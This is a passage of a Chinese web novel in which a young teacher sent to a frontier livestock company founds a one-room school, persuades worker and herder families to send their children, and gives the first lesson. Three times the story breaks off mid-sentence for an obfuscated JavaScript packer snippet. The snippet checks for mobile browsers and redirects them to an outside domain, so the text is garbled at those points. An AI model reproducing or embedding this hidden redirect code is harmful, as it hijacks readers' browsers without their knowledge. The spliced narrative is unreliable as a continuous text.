“文件里说各连队要发展教育,我给上级打了个报告。”陈远疆停顿了一下,目光投向她身后那靠着围墙的工具棚,“你收拾的那个教室是咱们连队唯一的教学点,今后就是启明小学了。” 她有些难以置信,他打报告给了那个破棚子一个正式的名字,一个小学的名分。 陈远疆的目光重新落回她脸上,“上级知道你任务重,”他继续道,“明确要求你脱产扫盲。希望你能完成组织交给你的任务。” 脱产扫盲,那就是不会给她安排劳动任务了? 她连日来的委屈被一股热流冲上眼眶,克制的声音响起:“一定。” 陈远疆看了她一眼,没再说什么,大步流星地离开了。 她走到围墙边上的棚子里,站在那个土坯垒成的讲台前。她摸了摸门板粗糙的表面,那是她今后要用到的黑板。墨汁还没完全干透,沾了一点在指尖。 讲台很简陋,甚至有些歪斜,但这是她的阵地。 “讲台有了,课桌呢?”舒染环顾空荡荡的棚子。赵卫东只给了地方,别的什么都没有。 她走到棚子角落,那里堆着她早上清理出来的几块还算平整的大土坯。她试着搬动一块,很沉,但比垒讲台时的小土坯好搬些。她把三块大土坯搬到棚子中央,呈品字形摆开。 “这就是课桌了。”舒染看着这三块土疙瘩,苦笑了一下。她想象着孩子们趴在上面写字的场景,硌手是肯定的。 她又扫视地面,看到几块散落的小一点的碎石灰块。“粉笔就用这个吧。”她弯腰捡起几块,在手里掂了掂,棱角还算分明,在黑板上划拉能留下白痕。 “教棍……”她的目光落在墙角几根被丢弃的、还算直溜的红柳枝上。走过去捡起一根,长度刚好,韧性也不错。“就是它了。” 简单的教具总算有了着落。 舒染松了口气。她走到门口,借着最后的天光,看着空荡荡的棚子内部,视线又落在那些充当课桌的大土坯上。 孩子们只能蹲着或坐在地上,土块上写字画画,时间久了肯定难受。她皱起了眉。 得想办法弄点能坐的东西,哪怕只是矮凳呢。 8. 第 8 章 回到地窝子时,天已黑透。舒染掀开毡子进去。 周巧珍已经躺下了,面朝里墙,用被子蒙着头。王大姐正就着昏暗的灯光缝补一件旧衣服,李秀兰则蜷在角落,似乎在发呆。 “舒染同志回来啦?”王大姐抬起头,和气地招呼了一声。 “嗯。”舒染应着,走到自己铺位前,放下搪瓷盆。她脱下外套,叠好放在樟木箱上。目光无意间扫过自己的外套口袋缝隙——那里似乎卡着一个白色小纸角。 舒染心中一动,不动声色地坐了下来,借着整理衣服的姿势,手指飞快地探入缝隙,将那折叠的小纸条夹了出来攥在手心。 她若无其事地站起身,走到地窝子深处的水桶边舀水洗漱。 在昏暗的光线下,她背对着其他人展开纸条。上面是几行略显潦草但还算工整的字迹: 舒染同志: 食堂匆匆一瞥,见你神色郁郁。戈壁风沙粗粝,上海故园温软,同是天涯沦落人,文彬感同身受。若有闲暇,盼能一叙。同乡之谊,或可稍慰孤寂。阅后即焚。 周文彬 舒染眉头微蹙。这个周文彬,这种时候递这种纸条,风险太大了。 她没有任何犹豫,将纸条凑到旁边那盏墨水瓶改的煤油灯上。火苗迅速蔓延,舒染看着它化为一小撮灰烬。 同是天涯沦落人?舒染扯了扯嘴角。 洗漱完,舒染坐回自己的铺位。她拿出从上海带来的硬皮笔记本和一支钢笔。又从樟木箱底层翻出几本旧书:一本《新华字典》、一本《算术》、一本薄薄的《自然常识》,还有一本封面磨损严重的《革命歌曲选》。 她小心翼翼地拧开墨水瓶盖,用钢笔尖蘸了蘸墨水。光线实在太暗,她不得不把脸凑得很近,才能看清纸上的格子。 备课,从何备起?她对这里地学生一无所知。 舒染想了想,转头看向还在缝补的王大姐,压低声音问道:“王大姐,跟您打听个事儿。咱连队里,能来上学的娃娃们,大概有多少?都多大年纪?以前……有人教过他们认字吗?都是些啥样的娃?” 王大姐停下针线,把针在头发里篦了篦,叹了口气:“唉,娃娃们啊……这说起来可就杂了!” 她掰着手指头数落起来:“先说那大的小的。大的有十二三了,个头都快赶上大人了,小的呢,也就刚断奶没多久,七八岁的也有。拢共……估摸着能有十几个吧?这人数也说不准,看各家各户忙不忙,孩子有没有空。” “再说这娃娃们哪儿来的?”王大姐朝门外努努嘴,“咱们这畜牧连,老老少少,都是天南海北凑一块儿的!有像俺男人那样,是五几年跟着部队转业留下来的老职工,俺是后来从河南老家投奔来的,可惜没见着面人就没了;还有的人是前几年响应号召,从各地来的支边青年;还有你们这样新来的知青。这些职工的娃娃,都是汉娃。” 她顿了顿,声音压低了些:“还有不少呢,是这戈壁滩上原先就住着的‘老新疆’!他们好些人就在连队附近放牧,或者也在连里帮工。他们的娃娃也常跟咱们的娃娃一块儿耍。” 说到这儿,王大姐眉头皱了起来,像是想起了什么难事:“这些少数民族娃娃啊……麻烦就麻烦在说话上!他们在家都说自个儿的族语,叽里咕噜的,咱们汉族人一句也听不懂。跟咱们的娃娃玩久了,倒是能听懂几句最简单的话,像‘吃饭’、‘喝水’、‘过来’、‘回去’啥的,但也就这样了!稍微复杂点的,比如‘把那个筐拿过来’、‘羊跑到哪边去了’,那就跟听天书似的,全靠比划!” 她无奈地摇摇头:“以前哪有人正经教过他们认字?咱们汉人的娃娃都顾不过来呢!都是放羊的放羊,拾柴的拾柴,帮家里干点零碎活。认字?能数清楚自家几只羊就不错了!最大的那个汉人男娃,叫石头的,他爹是连里的记分员,好像跟着他爹认过几个工分本上的字,能歪歪扭扭写出自己名字。那些少数民族娃娃,还有更小的那些,更是连笔都没摸过,连自个儿名字用汉话咋说都未必知道!” 舒染更焦虑了。这些学生年龄跨度大,基础几乎为零,这已经够难了。十几个孩子里,可能有一半连她说的话都听不懂。这扫盲的难度,简直是地狱级。 “那……明天要是开课,娃娃们能来吗?特别是那些少数民族的孩子,他们家里能同意吗?”舒染抱着最后一丝希望问。 “这……”王大姐面露难色,声音压得更低了,“舒染同志,这话我跟你说了,你可别往外传是俺说的。赵主任那人……嘴上答应了给你地方,心里头未必乐意。娃娃们的爹妈也难,队上活儿重,少个劳力就少份工分。汉人家里还好说点,那些少数民族家里……他们更看重娃娃帮着干活,放羊、挤奶、看弟弟妹妹,那都是顶要紧的事!而且……” 她迟疑了一下,“他们可能觉得学汉话汉文没啥大用?明天能不能来,能来几个,真不好说。汉娃能来几个就不错了,少数民族的娃娃……你得有个准备,可能一个都难。” 舒染的心凉了半截。情况比她预想的更糟。她点点头,没再多问,坐回铺位。 教什么?怎么教? 脑海里闪过无数她在21世纪时,学到的、用到的教育实践知识…… 她深吸一口气,笔尖落下,在笔记本第一页写下了开学第一课的教学设计。 “名字……必须会写名字!”她喃喃自语,笔尖终于落下,在“开学第一课”下重重写下“姓名”二字。 “工分!这是命根子!”她又写下“工”、“分”。 “还有手!劳动的手!放羊的手!” “手”字紧随其后。她的思路越来越清晰,笔尖飞快移动:羊、马、水、数字、日、月、大、小……这些最基础、与生活息息相关的字眼,被她一个个圈出来。 她想起王大姐说孩子们能听懂“吃饭”、“喝水”这样的简单词。 “对!就从这些开始!”她又在旁边写下“吃”、“饭”、“喝”。 为了那些听不懂的少数民族孩子,她翻开空白页,熟练地画起简笔画,思考着如何把复杂的笔画拆解得更简单,想象着孩子们茫然的眼神…… 直到油灯里的火苗越来越微弱,她才勉强合上写满字和画的笔记本。 舒染吹熄了灯,躺进新褥子里。身体满是疲惫,大脑却异常清醒。 明天,会是什么局面?十几个孩子?几个孩子?还是一个都没有?赵卫东会不会临时变卦?周巧珍会不会使绊子? 她在脑海里模拟着可能出现的场景,思考着应对的办法。直到后半夜,才沉沉睡去。 * 天刚蒙蒙亮,舒染就起来了。她用水洗了把脸,换上一件耐磨的旧罩衫,把头发编成辫子盘在脑后。她拿起昨晚写好的笔记本和几本书,走出了地窝子。 她先去了工具棚教室。清晨的光线透过屋顶的破洞和墙缝照进来,显得棚子里面明亮了许多。她将土坯课桌摆得更整齐些,吹了吹上面的浮尘。 万事俱备,只欠东风。 她走向生产办公室。赵卫东通常很早就开始安排一天的活计。 果然,办公室门开着,赵卫东正对着墙上的生产进度图皱眉,手指在一个标着“严重滞后”的指标上敲打着。马技术员蹲在门口,叼着莫合烟卷,一脸愁容。 “报告!赵主任!”舒染站在门口,声音清亮。 赵卫东转过头,看到是她,眉头锁得更紧,语气不耐:“舒染同志?这么早?有事快说,我这忙着呢!今天三排的排碱渠要是再挖不完,全连都得吃挂落!” “赵主任,我就几句话,不耽误您时间。”舒染走进来,态度恭敬地说:“昨天您批了地方,教室我已经初步收拾出来了。今天准备开始教学。关于学生的问题,我想再跟您明确一下。” “学生?什么学生?”赵卫东像是才想起这茬,挥挥手,“哦,上面安排了你脱产搞什么娃娃们的扫盲,这个陈干事和我说了。至于那些娃娃啊!我不是说了嘛,你自己看着办!谁有空谁去!但前提是不能耽误队上的活儿!娃娃们该干啥还干啥!” “赵主任,”舒染耐着性子解释,“教学需要一定的连续性和秩序。我想知道,连里有没有一个相对固定的、适合学习的年龄段的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361283|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子名单?大概有多少人?每天能保证多少学习时间?这样我好安排课程进度。” 赵卫东像是听到了什么天方夜谭,嗤笑一声,从桌上拿起他的旧搪瓷缸子灌了一大口水:“固定的名单?学习时间?舒染同志,你当这是上海滩的洋学堂啊?这里是边疆的畜牧连!是生产建设第一线!” 他放下缸子,抹了把嘴,语气带着不容置疑的口吻:“听着!连里就这一个班!没有别的老师,就你一个人!你就是校长、班主任、各科老师!全包圆儿了!” 舒染虽然早有心理准备,但亲耳听到这“一人学校”的宣判,心还是一沉。 赵卫东没理会她的脸色,继续下达指令:“至于娃娃们,你自己去各家各户问!去羊圈马号里找!谁家爹妈同意,谁家娃娃那会儿没活儿,你就教!教什么你自己定!但有几条红线你给我记住喽!” 他竖起一根手指,盯着舒染,“第一,安全!娃娃在你那破棚子里少根汗毛,我唯你是问!第二,绝对不能鼓动娃娃们逃避劳动!该干的活儿一点不能少!第三,也是最重要的!”他加重语气,手指几乎戳到舒染面前,“政治方向绝对不能出问题!要是教出思想有问题的,舒染同志,别说你这老师当不成,你这责任可就大了!” 旁边的马技术员吐了口烟圈,帮腔道:“老赵说得对!最后一个是头等大事!舒老师,你以前那个家庭背景……更得注意!教娃娃们唱唱革命歌曲,念念语录,认认‘抓革命,促生产’这些字,最稳妥!” 赵卫东最后拍板:“就这么定了!地方给你了,名头给你了,怎么弄是你的事!连里一没人手二没经费帮你!你自己克服困难!好了,没事就赶紧去准备吧,别在这杵着了!” “明白了,赵主任。我会克服困难,保证政治方向正确,努力把教学工作做好,不耽误生产。” 走出生产办公室,舒染深吸一口气,压下心头的憋闷。名单、固定学生、学习时间通通没有。一切都要靠她自己。 她没回工具棚,而是转身走向陈远疆的临时办公室。既然他给了“启明小学”的名分,张干事说他又负责新人安置,那找他帮忙合情合理。 敲了敲门,里面传来低沉的一声:“进。” 推门进去,陈远疆正伏在一张旧木桌上写着什么。 桌上摊着几份文件。他抬起头,看到是舒染,眼中闪过一丝讶异。 “陈干事,”舒染站定,开门见山地说:“启明小学今天准备开课。但赵主任说,学生需要我自己去动员。我对连队人员情况不熟,特别是职工家里有适龄儿童的,以及附近牧区可能送孩子来的家庭,完全没有头绪。想麻烦您,看看有没有连队登记在册的家属子女名册?这是组织安排给我的教学工作,我需要基础信息才能开展。” 陈远疆放下笔,目光在她脸上停留片刻。沉默几秒,他拉开桌下一个抽屉,翻找片刻,抽出一张折叠的纸。 “连队职工家属子女名册,”他将纸推到桌边,“登记在册的适龄儿童十二人,年龄七到十三岁。住址有标注。” 他又从抽屉深处拿出一本更薄的册子,“附近常驻放牧点大约是三家。各家适龄儿童情况不详,需实地了解。” 他用手指在桌上虚划了一下,“牧区位置,出连队西侧,沿排碱渠走约三里,地势稍低洼处,有一小片依托地下泉眼形成的胡杨林和红柳区。牧民们就在林带边缘和下游的草甸上放牧,那是附近几十里内水源最稳定的地方。” 他的语速不快,信息提供得清晰精准。 “谢谢陈干事!”舒染如获至宝,赶紧拿起那两张纸。 职工名册上写着名字、父母姓名、年龄,后面跟着“地窝子X排X号”或“土坯房东X间”之类的地址。 牧区那本薄册子则只有户主名字和大致方位。 “牧区情况复杂,语言不通,风俗各异。”陈远疆看着她,补充了一句,语气平淡却带着提醒,“注意方式方法。安全第一。” “我明白,谢谢提醒。”舒染郑重道谢,将两张纸小心折好揣进口袋。有了这份资料,她的心里踏实了许多。 9. 第 9 章 “对了,”陈远疆在舒染走之前提醒道:“牧区有位德高望重的“老阿肯”,经常和连里人打交道。如果能得到他的支持,事情会容易很多。” 舒染停下脚步,语气真诚地对陈远疆说:“陈干事,我现在对您的印象大为改观。” 不等陈远疆说话,舒染赶紧溜走。 离开陈远疆的办公室,她直奔女工宿舍。 时间紧迫,她需要帮手。王大姐和李秀兰比她来得早,人头熟,由她们带着去职工家,能省去不少解释的麻烦,也更容易取得信任。 回到地窝子,周巧珍已经不见了踪影,估计是上工去了。王大姐正在收拾,李秀兰还赖在床上。 舒染从樟木箱里掏出两盒之前在上海备下的雪花膏,分别放在王大姐和李秀兰的桌子上。 “王大姐,秀兰妹子,”舒染开门见山:“帮个忙!今天学校开课,我得去各家各户把娃娃们请来。我对连里不熟,想请你们带带路,帮忙跟家里的大人说说?” 王大姐一看,立刻放下手里的活计,爽快道:“成!这是好事!俺带你去!东头那几家俺都熟!” 李秀兰揉着眼睛坐起来,看到桌子上的雪花膏,眼睛亮了亮,同时觉得这事挺新鲜,也来了精神:“舒染姐,我也去!西头那片我熟!” 有了两个熟悉情况的帮手,舒染信心大增。三人立刻出发,按着名册上的地址,一家家敲门。 清晨的寒气还未散尽,王大姐裹紧了旧头巾,熟门熟路地走在前面带路,李秀兰则有些新奇地跟在舒染身边,不时偷偷打量这位城里来的老师。 “舒染同志,”王大姐边走边指着前面一排低矮的地窝子,“喏,东头第一家就是石头家。他爹石会计,是连里的老资格,人不错,就是忙得脚不沾地。石头那娃皮是皮了点,可灵光着呢,跟他爹学过几个字。” “那太好了!”舒染精神一振,“有个有点基础的孩子,也能带动一下。” 李秀兰插话道:“就是赵主任……他管生产管得紧,就怕耽误了活计。”她语气里带着点担忧。 “所以咱们得把话说透,讲明白不耽误干活。”舒染紧了紧手中的笔记本,“还得让家长们看到实实在在的好处。” 说话间,到了石头家门口。王大姐熟稔地敲了敲那扇歪斜的木门板:“石会计家的!在家不?舒老师来看娃娃啦!” 门吱呀一声开了,一个系着围裙、手上还沾着苞谷面的妇女探出头,是石头的娘。 看到王大姐和李秀兰,她露出笑容:“哎哟,王大姐,秀兰妹子!”目光落到舒染身上,带着好奇,“这位就是新来的舒老师吧?快请进快请进,屋里乱糟糟的……” 进了屋,光线昏暗。石头正蹲在角落摆弄几个羊拐骨,看到生人,尤其是穿着干净列宁装的舒染,立刻拘谨地站了起来,眼神躲闪。 舒染说明来意,重点强调了“启明小学”的成立,只利用相对空闲的时间教实用的东西,比如认名字、认工分、认数字。 王大姐在一旁帮腔:“他婶子,娃认了字,以后说不定能接他爹的班当会计,再不济开个拖拉机也风光啊!总比一辈子抡锄头强!” 石头的娘搓着手,脸上有喜色也有愁容:“认字好,认字好!舒老师有心了!可……可今儿上午,石头得跟他爹去渠道那边送趟水,顺便捡点柴火回来,这……” “送水捡柴,下午去也一样嘛!”王大姐立刻道,“让娃上午去认俩钟头字,下午该干啥干啥,一点不耽误!” “是啊婶子,”李秀兰也劝道,“石头脑子活,学东西快,别耽误了。” 石头的娘看看儿子,又看看舒染诚恳的脸,终于点点头:“成!石头,听见没?上午跟舒老师认字去!下午老实去干活!” “哎!”石头响亮地应了一声,小脸上顿时放出光来,偷偷瞄了舒染一眼。 初战告捷,舒染松了口气。三人带着石头出来,继续下一家。 路上,经过连队边缘的猪圈,一股浓烈的气味传来。李秀兰捂着鼻子快走两步。 王大姐指着猪圈旁边一个更小的地窝子:“这家是栓柱家。他娘身子弱,他爹一个人挣工分,家里活计多,栓柱是半个劳力了。” 敲开门,一个咳个不停的妇女扶着门框,身边还跟着一个拖着鼻涕的娃娃。说明来意后,栓柱娘愁眉苦脸:“舒老师……不是俺不让娃去……你看俺这身子……家里猪要喂,鸡要管,这小崽子也得人看着……栓柱走了,这摊子……” 舒染看着妇人病态的脸,心头沉重。她蹲下身,摸了摸那个拖着鼻涕的小娃娃的头,对栓柱娘温声道:“大嫂,您身体要紧。栓柱很懂事,能帮家里是大好事。这样行不行?让栓柱每天上午来学半个时辰,就学最要紧的,认名字,认数字,学会写工分。学会了,以后帮家里记账、算工分也更明白,不容易出错吃亏,您说是不是?剩下时间,他立刻回来帮您。学习的地方离这儿也不远。” “半个时辰……就学认名字算工分?”栓柱娘迟疑着,这听起来似乎确实有点用。而且时间不算长。她看向儿子,栓柱正眼巴巴地看着她,眼神里带着渴望。 王大姐适时道:“半个时辰,眨眼就过去了!娃学了本事,以后家里记个账啥的,还用求人?” 栓柱娘最终艰难地点了头:“那行吧。栓柱,去了好好听老师话,学完了赶紧回来!” 栓柱用力点头:“嗯!娘,我记住了!” 离开栓柱家,气氛有些沉默。王大姐叹了口气:“唉,家家有本难念的经。舒老师,你看见了吧?在这地方,娃娃的力气也是家里的口粮啊。” 舒染看着名册上剩下的名字,握紧了笔记本:“我知道难,但正因为难,才更要让他们有机会多学一点东西。多认识一个字,将来就多一分选择的可能。” 走访继续。 大多数家庭,尤其是父母本身就是早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361284|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年支边青年或转业军人的,对娃娃识字这件事是认同的。 “认字好!认字好!总不能当睁眼瞎!”一个扛着铁锹正准备出门的汉子听了舒染的来意,拍着大腿赞同,“虎子!虎子!听见没?跟老师认字去!别整天野得没边!”他朝屋里吼着。一个虎头虎脑、约莫十二三岁的男孩应声跑出来,好奇地打量着舒染。 但也有顾虑重重的声音。 “舒老师啊,不是俺们不让娃去,”一个围着灶台忙碌的妇女,手上沾着苞谷面,脸上带着歉意和愁苦,“你看这家里,他爹在挖渠,俺得上工,家里小的还得人看着,猪也得喂……大毛能帮着捡柴火、看鸡,这要是去坐半天,家里这摊子……” “是啊舒老师,”旁边另一个抱着奶娃的妇女也附和,“认字是金贵,可眼下这肚子更要紧啊。娃娃能帮把手,家里就松快点。这工分……哎!” 王大姐和李秀兰立刻发挥本地人的优势,操着各自的乡音帮着劝说: “他婶子,娃认了字,以后说不定能当技术员、开拖拉机,不比光知道傻力气强?” “就是就是!认几个字也耽误不了多少工夫!上午去学一阵,下午该干啥干啥!” “舒老师人可好了!你看她这大老远从上海来教咱娃娃……” 舒染也适时补充,语气诚恳:“大嫂,我理解家里的难处。咱们时间可以灵活安排,最多一个时辰,保证不耽误家里的要紧活计。学的东西也实用,学了就能用上!” 或许是“上海来的老师”这个身份带来的些许光环,或许是“学了就能用上”的实用性打动,加上王大姐和李秀兰的帮腔,大多数犹豫的家庭最终还是点了头。 但是也有的家庭态度坚决。 “女娃认什么字?早晚是别人家的人!在家学做饭、学针线是正经!认字能当饭吃?” 一个壮实的汉子堵在门口,不耐烦地挥手,他身后跟着一个抱着弟弟的小女孩,名册上叫招娣。她怯生生地缩着肩膀,眼神黯淡下去。 舒染据理力争:“认了字,以后能看懂农药说明书,知道怎么科学种田;能看懂卫生站的宣传画,知道怎么防病;就算在家,也能看懂票证、算清账目,不当睁眼瞎啊大哥!” “用不着!有男人呢!”汉子砰地关上了门。 李秀兰气得跺脚:“老顽固!” 王大姐拉拉舒染的袖子,摇摇头,低声道:“算了,舒老师,这家男人是出了名的倔,说不通的。招娣那丫头……可惜了。” 舒染看着紧闭的门板,心里堵得难受。她默默地在招娣的名字后面画了个叉。 一圈跑下来,职工子弟这边,最终定下了七个孩子:石头、栓柱、虎子、大毛、铁蛋、小丫、春草。 石头是其中唯一勉强能写出自己名字的。 看着名册上勾掉的名字和身边跟着的几个探头探脑的孩子,舒染松了口气。至少,启明小学不会空无一人了。 10. 第 10 章 “还有牧区那边的娃娃。”舒染看向西边的方向。 “牧区?”王大姐皱起了眉,脸上露出难色,“舒老师,那边可不好弄。说话都不通,规矩也多。要不……先缓缓?等这边弄顺了再说?” “是啊舒染姐,”李秀兰也缩了缩脖子,“他们……他们好像不太喜欢咱们去打扰,尤其是不熟的人。” “名单上有,就得去试试。”舒染态度坚决。 她知道,真正的挑战才刚刚开始。她想起陈远疆提到的“老阿肯”。 “王大姐,你知道老阿肯住哪家吗?我想先去拜访他老人家。” “老阿肯?”王大姐和李秀兰对视一眼,都摇了摇头,“他不住固定的毡房,常在几个放牧点走动。不过艾山家是他女婿,去艾山家兴许能找到。” 跟着的娃娃们听说要去牧区,十分兴奋。三人带着六个孩子,朝着连队西边走去。 走了约莫半个多小时,果然看到一片红柳丛和几棵胡杨树,附近散落着几顶灰白色的毡房,羊群像云朵般点缀在草地上。 找到艾山家的毡房,由王大姐连说带比划地说明来意。一个眼神精明的少数民族汉子,打量了舒染几眼,转身进了毡房。 不一会儿,一位须发皆白,头戴传统毡帽的老人,拄着一根磨得发亮的木手杖,缓缓走了出来。他眼神深邃,带着不怒自威的气度。正是老阿肯。 舒染恭敬地上前,微微躬身,用刚学的问候语打招呼。 老阿肯的目光在她脸上停留片刻,又扫过她身后一群好奇的汉人孩子和王大姐等人,用口音很重的汉语问道:“上海来的姑娘?找我有事?” 舒染尽量让自己的语气显得谦逊而诚恳:“老阿肯,我是畜牧连新来的老师舒染。我们在连队里办了个学校,想教孩子们认字学知识。听说牧区也有不少适龄的孩子,想请您帮帮忙,看看能不能让孩子们也来学习?学习汉话和汉字,以后和连队交流、看通知、学新技术都方便些。” 她特意强调了交流和新技术,希望能打动这位见多识广的老人。 老阿肯静静地听着,布满皱纹的脸上没什么表情。等舒染说完,他沉默了片刻,缓缓开口:“姑娘,你的心是好的,像戈壁滩上难得的泉水。” 他顿了顿,手杖轻轻点着脚下的土地,“但是,泉水再好,也要看骆驼渴不渴,愿不愿意低头去喝。” 他的目光扫过不远处正帮家里赶羊的半大孩子,又回到舒染脸上:“这里的娃娃,生下来就知道怎么跟着星星找路,怎么从风里闻出雨的味道,怎么接生羊羔,怎么在狼群边上护住羊群。他们的力气,要用来放牧、剪毛、挤奶、搭毡房、照顾弟妹。他们的聪明,要用来记住哪片草场好,哪口井水甜,哪个季节该转场。” 他微微摇头,语气带着淡然:“认字?那些弯弯曲曲的符号,能帮他们多抓一只羊羔吗?能让他们在暴风雪里找到回家的路吗?能让毡房更暖和吗?不能。那是城里人、是坐办公室的人用的东西。我们草原上的鹰,翅膀是用来飞,不是用来握笔的。” 他最后看着舒染,眼神虽无敌意,却有一种历经沧桑的通透:“回去吧,姑娘。你的好意,我知道。但我们的娃娃,现在更需要的是手上的力气,不是书本上的墨水。” 老阿肯的一番话浇灭了舒染心中的希望。 老阿肯的态度代表了牧区根深蒂固的观念,实用主义至上,劳力即价值。读书,是无用的奢侈品。 王大姐和李秀兰在一旁听得大气不敢出,那几个汉族孩子也感觉到了气氛的凝重,缩在一起不敢乱动。 舒染的心沉到了谷底。她知道,老阿肯这条路,彻底堵死了。连这位最有威望的长者都明确反对,其他家庭更不会买账。 “谢谢您,老阿肯。打扰了。”舒染保持着礼貌,再次微微躬身。此刻任何争辩都毫无意义,只会显得更不识趣。 离开艾山家的毡房,气氛沉闷。王大姐小声劝慰:“舒老师,算了吧,老阿肯都这么说了……” 舒染抿紧嘴唇,望着另外两户毡房的方向,眼神倔强:“名单上有三家,老阿肯只是艾山家的长辈。另外两家,我亲自去问。” 接下来的拜访,印证了老阿肯话语的分量。 塞里家,男主人态度冷淡,只隔着毡房门帘用生硬的汉语说了句:“娃娃要干活,没空。”便再无回应。 最后来到图尔迪家毡房前。图尔迪是个身材敦实的汉子。 他听了舒染磕磕绊绊夹杂着比划的请求,眉头紧锁,连连摆手:“不行不行!阿迪力要放羊!阿依曼要帮她妈妈挤奶、照看小弟弟。学那些字干什么?不当吃不当喝!” 毡房帘子掀开一条缝,露出一双明亮好奇的大眼睛,是个约莫八九岁的女孩。她身后,一个眼神像小狼崽般的男孩也探出头,警惕地看着舒染这群不速之客。 阿依曼的目光,不由自主地被舒染手中拿着的硬皮笔记本和钢笔吸引。 舒染捕捉到了阿依曼眼中的好奇。她心念急转,迅速打开笔记本,翻到备课画的一页。上面用简单的线条画着太阳、月亮、星星、羊、马,旁边工整地写着对应的汉字和拼音。 “你看,”舒染蹲下身,指着图画,用缓慢清晰的汉语说,“这是太阳……这是羊……这是马……学了这个,以后你就能看懂连队里贴的通知,知道什么时候打防疫针,什么时候领东西……” 阿依曼的眼睛更亮了,小嘴微张,忍不住往前凑了凑,伸出小手指着画上的羊:“这个……羊?” “对!羊!阿依曼真聪明!”舒染立刻用重复了一遍“羊”的发音,并指着汉字。 阿依曼的脸上露出了惊喜的笑容。 图尔迪却皱紧了眉头,粗声打断:“好了!看什么看!回去挤奶!” 阿迪力则哼了一声,一把将妹妹拉回身后,冲舒染说了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谢谢图尔迪大哥!”舒染心中的石头终于落地,长长舒了一口气。虽然代价不小,但总算撬开了一道缝。 阿依曼高兴得差点跳起来,阿迪力则撇撇嘴,哼了一声,算是默认。 至此,动员结束。启明小学的第一批学生,尘埃落定。 汉族职工子弟七人:石头、栓柱、虎子、大毛、铁蛋、小丫、春草。牧民家的孩子两人:阿依曼、阿迪力。 总共九个孩子,年龄从七岁到十三岁,语言基础、学习能力、学习意愿天差地别。 舒染带着这支年龄参差的童子军,在日头下,朝着连队围墙边那个工具棚走去。 有了学生,她的讲台才有了意义。 当舒染领着九个孩子走进工具棚教室。 石头好奇地摸了摸土坯垒的讲台和那块刷了墨的门板黑板;阿迪力则皱着鼻子,一脸嫌弃地打量着这简陋的环境;阿依曼紧紧抓着哥哥的衣角;其他孩子也叽叽喳喳,好奇地打量着这个奇怪的地方。 “都找位置坐好。”舒染拿起那根红柳枝教棍,在土坯讲台上轻轻敲了敲。 孩子们被舒染的威严镇住。因为没有凳子,他们只能在舒染摆好的三块大土坯课桌旁,或蹲或坐。 舒染目光扫过下面八张稚嫩的脸庞,接着走到门口,拿起昨晚捡的一块石灰块。转身在门板上写下了几个方方正正的大字:启明小学。 11. 第 11 章 开学第一课。 八个孩子挤在土坯课桌旁,高矮参差。 年龄最大的石头,身板已初具少年的轮廓,最小的铁蛋和小丫才七岁,坐在地上仰望着老师。 阿迪力抱着胳膊靠坐在最外边,时不时冲舒染翻个白眼,他妹妹阿依曼则紧紧挨着他,乌溜溜的大眼睛地在舒染身上来回看。 舒染拿起那根充当教棍的红柳枝,在土坯讲台上敲了三下。 总算压住了孩子们的私语。所有目光聚焦在她身上,带着兴奋。 “同学们,”舒染清了清嗓子,声音尽量放得温和清晰,“从今天起,这里就是启明小学。我是你们的老师,舒染。我们每天一起学习认字、算数、唱歌,好不好?” “好!”石头带头应了一声,声音洪亮。 春草和小丫也跟着小声附和。 栓柱心不在焉地“嗯”了一声,眼睛却瞟向棚子外面家的方向。 虎子和大毛互相挤眉弄眼。 阿迪力嗤地发出一声鼻音,用本民族的语言飞快地嘀咕了一句什么,惹得阿依曼偷偷拽了拽他的衣角。 舒染深吸一口气,指着“启明小学”那四个字,“这,就是我们学校的名字——启明小学!启,是开启;明,是光明。意思是,知识会像太阳一样,照亮我们前方的路!” 石头听得认真,春草和小丫也努力睁大了眼睛。阿依曼看着那从未见过的方方正正的符号,小嘴微微张着,满是新奇。 阿迪力却翻了个白眼,抱着胳膊,脚尖不耐烦地在地上蹭着。 舒染的粉笔移到了“启”字旁边,画了一个小小的太阳,“看,像不像太阳出来了?” 她又指向“明”字,在右侧画了个弯弯的月牙,“晚上呢,月亮就出来了。” 她最后指着“小”字,在下面画了个小小的火柴人。 “启明小学!”她再次大声念道,手指划过每一个字。 “启——明——小——学!”石头立刻跟读,声音响亮。春草、小丫、虎子和大毛也跟着念起来。 “好!读得真棒!”舒染鼓励着孩子们,“现在,我们每个人都有自己的名字。学会写自己的名字,是很重要的事!以后领东西、记工分,都要用到!”她说着,目光扫过名册,“石头!” “到!”石头响亮地应了一声,挺起胸脯。 “上来,”舒染招手,“老师教你写你的名字。” 石头立刻蹿到前面,带着点小骄傲。 舒染把另一块小些的石灰块塞进他的手里,握着他的手,在门板下方空着的地方,一笔一划地写下“石头”两个字。 “石,就是大石头的石。头,就是脑袋的头。”舒染解释着。 石头兴高采烈地跟着描画,石灰块在他手里抖得厉害,写出来的字歪歪扭扭,但他乐此不疲。 “春草!”舒染叫下一个。 春草怯生生地走上来。舒染同样握着她的小手写下“春草”,又画了一棵小草在旁边。“春天的草,绿油油的,多好看。” “嗯!”春草看着自己的名字,羞涩地笑了,用力点点头。 